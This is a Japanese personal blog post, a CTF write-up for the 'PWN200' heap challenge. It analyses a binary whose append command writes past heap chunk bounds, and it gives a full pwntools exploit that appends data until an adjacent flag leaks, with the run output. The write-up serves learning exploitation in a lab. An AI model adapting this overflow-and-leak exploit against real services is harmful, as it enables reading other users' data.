mattun-martの日記

セキュリティとかCTFとか個人的なメモ.早く入門したい.

pwn challenges list easy PWN200

下調べ

mattun-mart@4ctf:~/Workspace/pwn/easy/PWN200$ file heaptaskforbin | sed -e 's/,/\n/g'
heaptaskforbin: ELF 32-bit LSB executable
 Intel 80386
 version 1 (SYSV)
 dynamically linked
 interpreter /lib/ld-linux.so.2
 for GNU/Linux 2.6.15
 BuildID[sha1]=60830f78c4331bce955103f8cf77e1e5c47e361d
 stripped
mattun-mart@4ctf:~/Workspace/pwn/easy/PWN200$ checksec.sh --file heaptaskforbin
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    Not an ELF file   No RPATH   No RUNPATH   heaptaskforbin

解析

引数にポート番号を指定して実行すると,指定したポートで接続を待ち受ける.nc コマンドで接続すると次のようなメニューが表示された.(ここではポート番号22222を指定した)

mattun-mart@4ctf:~/Workspace/pwn/easy/PWN200$ nc localhost 22222
Welcome
1 - save message
2 - show message
3 - append message
4 - rewrite message
5 - delete message

それぞれの処理は次の通り.
1. ユーザが入力したデータを保存.保存したデータのIDを返す.
2. 入力したIDのデータの内容を表示
3. 入力したIDのデータに追加でデータを保存.
4. 入力したIDのデータの内容を上書き.
5. 指定したIDのデータを削除

これらのデータはヒープ領域に保存されており,mallocとfreeで領域の確保や保存を行っている.
デバッガで解析していくと,メニューを表示する前に初期化処理のようなものが行われていた.
一定数領域を確保し,ランダムな値を確保した領域に保存.その後いくつかの領域をfreeして解放.
このとき,flagファイルからflagをヒープ領域に読み込んでいる.

今回はflagが読み込まれたデータの中身が読めれば良いらしい.
このプログラムappendの処理で確保した領域のサイズを超えてデータの追加保存ができるため,appendでデータを追加してflagのデータとつなげてやって表示すれば良さそう.

Exploit

開放された領域にデータを新たに保存して,そのデータに少しずつ文字列を追加・表示.これをflagが出力されるまでそれぞれのでデータでやる.

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

host = 'localhost'
port = 22222

conn = remote(host, port)

def save(message):
	conn.send("1\n")
	conn.recv()
	conn.send(message + "\n")
	conn.recvuntil("Message ID = ")
	heap_id = conn.recvline()

	return heap_id

def show(heap_id):
	conn.send("2\n")
	conn.recv()
	conn.send(heap_id + "\n") 
	conn.recvuntil("Your message:")
	message = conn.recvuntil("Welcome")[:-7]
	
	return message


def append(heap_id, add_message):
	conn.send("3\n")
	conn.recv()
	conn.send(heap_id + "\n") 
	conn.recv()
	conn.send(add_message)
	conn.recvuntil("Success")


heap_id_list = []
for i in range(20):
	message = "A" * 0x100
	heap_id_list.append(save(message))


for heap_id in heap_id_list:
	for i in range(0x100):
		add_message = "aa"
		append(heap_id, add_message)
		result = show(heap_id)
		if "flag" in result:
			print result
			exit()

結果

flagファイルの中身 flag desuyoが表示されることを確認した.

mattun-mart@4ctf:~/Workspace/pwn/easy/PWN200$ python exploit.py 
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /home/mattun-mart/.pwntools-cache/update to 'never'.
[*] You have the latest version of Pwntools (3.12.0)
[+] Opening connection to localhost on port 22222: Done

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaa    aaflag desuyo